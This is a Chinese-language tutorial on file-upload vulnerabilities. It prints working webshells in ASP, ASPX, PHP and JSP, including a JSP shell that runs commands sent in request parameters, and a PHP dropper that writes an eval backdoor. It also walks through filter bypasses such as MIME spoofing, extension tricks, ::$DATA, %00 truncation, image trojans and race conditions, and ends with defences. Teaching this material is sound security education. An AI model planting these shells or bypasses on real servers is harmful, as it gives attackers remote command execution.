WEB常见漏洞之文件上传(基础原理篇)

简介: WEB常见漏洞之文件上传(基础原理篇)

0x01漏洞概述

由于开发者安全意识不足,或者编写代码时对上传文件的合法校验存在缺陷,导致上传漏洞的产生。

上传漏洞经常出现于头像上传、相册上传、附件上传、新闻投稿等位置,产生的危害极大, 可直接导致web服务器权限被攻击者控制。

如果WEB应用在文件上传过程中没有对 文件 的安全性进行 有效 的校验,攻击者可以通过上 传 WEBshell 等恶意文件对服务器进行攻击,这种情况下认为系统存在文件上传漏洞。

0x02木马的形式与种类

最常见利用文件上传漏洞的方法就是上传网站木马(webshell)文件,WEBSHELL又称网页木马文件,根据 开发语言的不同又分为ASP木马、PHP木马、JSP木马等,该类木马利用了脚本语言中的系统命令执行、文件读 写等函数的功能,一旦上传到服务器被脚本引擎解析,攻击者就可以实现对服务器的控制。

根据开发的语言不同,木马的种类也不同!

ASP

<%evalrequest("x")%>


<%executerequest("x")%>

ASPX

<%@PageLanguage=”Jscript”%><%eval(Request.Item["x"],”unsafe”);%>

PHP

<?phpeval($_POST['x']);?>


<?phpassert($_POST['x']);?>

JSP CMD WebShell

%

if("x".equals(request.getParameter("pwd")))

{

java.io.InputStream in=Runtime.getRuntime().exec(request.

getParameter("i")).getInputStream();

int a = -1;

byte[] b = new byte[2048];

out.print("<pre>");

while((a=in.read(b))!=-1)

{

out.println(new String(b));

}

out.print("</pre>");

}

%>

漏洞利用前提

首先,上传的文件能够被 Web 容器解释执行。所以文件上传后所在的目录要是 Web 容器所覆盖到的路径。

其次,用户能够从 Web 上访问这个文件。如果文件上传了,但用户无法通过 Web 访问,或者无法使得 Web容器解释这个脚本,那么也不能称之为漏洞。

最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也 可能导致攻击不成功。

0x03常见绕过方式

MIME:定义:MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型,是描述消息内容类型的因特尔标准。MIME消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。意义:MIME设计的最初目的是为了在发送电子邮件时附加多媒体数据,让邮件客户程序能根据其类型进行处理。然而当它被HTTP协议支持之后,它的意义就更为显著了。它使得HTTP传输的不仅是普通的文本,而变得丰富多彩。

一些常用类型的MIME:

js前端绕过

存在js前端判断,通过return checkfile()判断上传的文件类型是否正确;

解决办法:

1、删除前端代码中的checkfile(),使前端无法对上传的文件进行判断。

2、先上传一个符合条件的文件,然后使用burp抓包,修改文件类型为php,放包,这样就可以绕过js的前端检测。less-1

MIME检测与绕过

检测:如果服务端代码是通过Content-Type的值来判断文件的类型,那么就存在被绕过的可能,因为Content-Type的值是通过客户端传递的,是可以任意修改的 。

会检测文件的MIME类型,然后判断是否符合条件;

绕过;使用burp抓包,修改请求的Content-Type类型从而绕过检测,上传php文件。less-2.。

黑名单检测与绕过

一些会进行黑名单检测,符合数据库里面黑名单的文件类型,将不允许上传;

但是我们可以上传那些没有被过滤的文件类型。

asp,asxp,php,jsp

phtml,php3,php4,php5,pht

大小写绕过





$file_ext = strtolower($file_ext); //转换为小写 这个函数会将文件后缀名转化为小写如果没有这类型的函数进行黑名单的检测,我们可以考虑使用大小写绕过的方式进行文件上传。    例如php--pHP、PHP、PHp。    less-6

空格绕过


$file_ext = trim($file_ext); //首尾去空   会将文件后缀名前后的空格去除 在没有这种函数的情况下,我们可以使用在后缀名后面加空格的方法绕过黑名单检测 less-7

加点绕过


$file_name = deldot($file_name);//删除文件名末尾的点 在没有这类型函数的情况下,我们可以在文件名后加.绕过黑名单检测。

::$DATA绕过























$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA在没有这类型函数的情况下我们可以在文件名后加字符串::$DATA绕过黑名单检测补充:Windows本地文件系统中的文件流(File Streams):
当从 Windows shell 命令行指定创建文件时,流的完整名称为 "filename:stream name:stream type",如示例中所示:"myfile.txt:stream1:$DATA"流类型
下面是 NTFS 流类型(也称为属性类型代码)的列表。某些NTFS 内部的流类型 ,格式未记录。
流类型  说明::$ATTRIBUTE_LIST  包含组成文件的所有属性的列表,并标识每个属性的位置。::$BITMAP  索引用于管理目录的B-Tree空间的位图。B-Tree以4 kB块管理(无论群集大小),此用于管理这些块的分配。每个目录都存在此流类型。::$DATA  数据流。默认数据流没有名称。可以使用 FindFirstStreamW 和 FindNextStreamW 函数枚举数据流。::$EA  包含扩展的属性数据。::$EA_INFORMATION  包含有关扩展属性的支持信息。::$FILE_NAME  文件的名称,采用 Unicode 字符。这包括文件的短名称以及任何硬链接。::$INDEX_ALLOCATION  目录的流类型。用于实现大目录的文件名分配。这个流表示目录本身,并包含目录的所有数据。对这种类型流的更改将被记录到NTFS更改日志中。$INDEX_ALLOCATION流类型的默认流名是$I30,所以“DirName”、“DirName::$INDEX_ALLOCATION”和“DirName:$I30:$INDEX_ALLOCATION”都是等价的。::$INDEX_ROOT  该流表示索引的B-Tree的根。每个目录都存在此流类型。::$LOGGED_UTILITY_STREAM  类似于::$DATA,但是操作被记录到NTFS更改日志中。用于EFS和Transactional NTFS (TxF)。":StreamName:$StreamType"对EFS是":$EFS:$LOGGED_UTILITY_STREAM",对TxF是":$TXF_DATA:$LOGGED_UTILITY_STREAM"。::$OBJECT_ID  用于标识链接跟踪服务的文件的16字节 ID。::$REPARSE_POINT  重新 分析点 数据。对NTFS格式下的一个文件而言,至少包含一个流,即data流(其stream type为$DATA),data流是文件的主流,默认的data流其stream name为空。默认一个文件如果被指定了流,而该流没有stream type的话会在存储时自动添加$DATA。例如上面看到的例子myfile.txt:stream1:$DATA在存储时实际上是为myfile.txt:stream1,但在查询结果中需要去除:$DATA,否则会出现参数错误,这个是notepad不能很好的支持流所导致的。
对文件夹而言,没有data流,其主流是directory流(stream type为$INDEX_ALLOCATION),directory流默认的stream name是$I30。尽管文件夹默认没有data流,但用户可为其指派data流。

点空格点绕过黑名单检测




$file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = trim($file_ext); //首尾去空当这两个函数同时使用时我们可以通过点空格点绕过    例如1.php. .我们最终上传的文件是1.php.

双写绕过








$file_name = str_ireplace($deny_ext,"", $file_name);str_ireplace函数会将$deny_ext黑名单里面的文件名替换为空 str_ireplace函数:str_ireplace(find,replace,string,count)                  参数  描述                  find  必需。规定要查找的值。                  replace  必需。规定替换 find 中的值的值。string  必需。规定被搜索的字符串。                  count  可选。一个变量,对替换数进行计数。

GET型00截断


$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

绕过方法:白名单判断,但保存文件的方式是通过 $img_path直接拼接,可以使用%00截断 需关闭magic_quotes_gpc

php 版本<5.3.4

Post型00截断


$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

绕过方法:白名单判断,但保存文件的方式是通过 $img_path直接拼接,可以使用%00截断

需关闭magic_quotes_gpc

php 版本<5.3.4


图片木马

一些服务器会对所上传文件内容进行检测,这时可以制作图片木马,绕过服务器的检测

图片马制作命令:copy 图片文件.jpg|png|gif/b +木马文件.php /a 生成的文件名.jpg|png|gif|


例:copy 1.jpg /b + 2.php /a 3.jpg

常用的图片检测函数

getimagesize()

获取图片宽度高度、大小尺寸、图片类型、用于布局的img属性

原理:这个函数的意思是:会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的

exif_imagetype()函数

原理:读取一个图像的第一个字节并检查其签名。

move_uploaded_file() (有这么一个特性,会忽略掉文件末尾的 /.)

函数将上传的文件移动到新位置。

若成功,则返回 true,否则返回 false。

补充知识:

explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。

end(array)函数,输出数组中的当前元素和最后一个元素的值。

reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值

count(array)函数,计算数组中的单元数目,或对象中的属性个数

文件二次渲染

在我们上传文件后,网站会对图片进行二次处理(格式、尺寸,保存,删除 要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片(标准化)并放到网站对应的标签进行显示。

绕过方法:配合文件包含漏洞

将一句话木马插入到网站二次处理后的图片中,也就是将二次渲染后保留的图片和一句话木马制作成图片马,再配合文件包含漏洞解析图片马中的代码,获取webshell。

配合条件竞争漏洞

竞争条件是指多个线程在没有进行锁操作或者同步操作的情况下同时访问同一个共享代码,变量,文件等,运行的结果依赖于不同线程访问数据的顺序




$upload_file = UPLOAD_PATH . '/' . $file_name;$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);

利用条件竞争删除文件时间差绕过。这里先将文件上传到服务器,然后通过rename 修改名称,再通过unlink删除文件:

php版本:5.4.45


<?php fputs(fopen('info.php', 'w'), '<?php @eval($_POST['ant'])?>');?>

0x04文件上传漏洞防御

1、对上传的文件的扩展名和文件报头信息在服务端与白名单对比,不符合白名单的不予保存。

2、上传过程不应传递目录或文件路径,使用预先设置路径列表中的匹配索引值,严禁泄露文件绝对路径。

3、对文件进行重命名,使用随机性好的文件目录和文件名进行保存。

4、上传文件的临时目录和保存目录不允许执行权限。

5、有条件时可将保存在内容服务器或者数据库中。

目录
相关文章
|
2月前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
138 1
|
2月前
|
前端开发 Java API
JAVA Web 服务及底层框架原理
【10月更文挑战第1天】Java Web 服务是基于 Java 编程语言用于开发分布式网络应用程序的一种技术。它通常运行在 Web 服务器上,并通过 HTTP 协议与客户端进行通信。
30 1
|
3月前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
179 8
|
3月前
|
安全 关系型数据库 Shell
Web安全-浅析CSV注入漏洞的原理及利用
Web安全-浅析CSV注入漏洞的原理及利用
159 3
|
2月前
|
存储 安全 前端开发
在前端开发中需要考虑的常见web安全问题和攻击原理以及防范措施
在前端开发中需要考虑的常见web安全问题和攻击原理以及防范措施
188 0
|
3月前
|
安全 应用服务中间件 开发工具
Web安全-SVN信息泄露漏洞分析
Web安全-SVN信息泄露漏洞分析
218 2
|
2月前
|
XML JSON API
ServiceStack:不仅仅是一个高性能Web API和微服务框架,更是一站式解决方案——深入解析其多协议支持及简便开发流程,带您体验前所未有的.NET开发效率革命
【10月更文挑战第9天】ServiceStack 是一个高性能的 Web API 和微服务框架,支持 JSON、XML、CSV 等多种数据格式。它简化了 .NET 应用的开发流程,提供了直观的 RESTful 服务构建方式。ServiceStack 支持高并发请求和复杂业务逻辑,安装简单,通过 NuGet 包管理器即可快速集成。示例代码展示了如何创建一个返回当前日期的简单服务,包括定义请求和响应 DTO、实现服务逻辑、配置路由和宿主。ServiceStack 还支持 WebSocket、SignalR 等实时通信协议,具备自动验证、自动过滤器等丰富功能,适合快速搭建高性能、可扩展的服务端应用。
138 3
|
1月前
|
设计模式 前端开发 数据库
Python Web开发:Django框架下的全栈开发实战
【10月更文挑战第27天】本文介绍了Django框架在Python Web开发中的应用,涵盖了Django与Flask等框架的比较、项目结构、模型、视图、模板和URL配置等内容,并展示了实际代码示例,帮助读者快速掌握Django全栈开发的核心技术。
151 45
|
16天前
|
开发框架 JavaScript 前端开发
TypeScript 是一种静态类型的编程语言,它扩展了 JavaScript,为 Web 开发带来了强大的类型系统、组件化开发支持、与主流框架的无缝集成、大型项目管理能力和提升开发体验等多方面优势
TypeScript 是一种静态类型的编程语言,它扩展了 JavaScript,为 Web 开发带来了强大的类型系统、组件化开发支持、与主流框架的无缝集成、大型项目管理能力和提升开发体验等多方面优势。通过明确的类型定义,TypeScript 能够在编码阶段发现潜在错误,提高代码质量;支持组件的清晰定义与复用,增强代码的可维护性;与 React、Vue 等框架结合,提供更佳的开发体验;适用于大型项目,优化代码结构和性能。随着 Web 技术的发展,TypeScript 的应用前景广阔,将继续引领 Web 开发的新趋势。
30 2
|
1月前
|
前端开发 API 开发者
Python Web开发者必看!AJAX、Fetch API实战技巧,让前后端交互如丝般顺滑!
在Web开发中,前后端的高效交互是提升用户体验的关键。本文通过一个基于Flask框架的博客系统实战案例,详细介绍了如何使用AJAX和Fetch API实现不刷新页面查看评论的功能。从后端路由设置到前端请求处理,全面展示了这两种技术的应用技巧,帮助Python Web开发者提升项目质量和开发效率。
43 1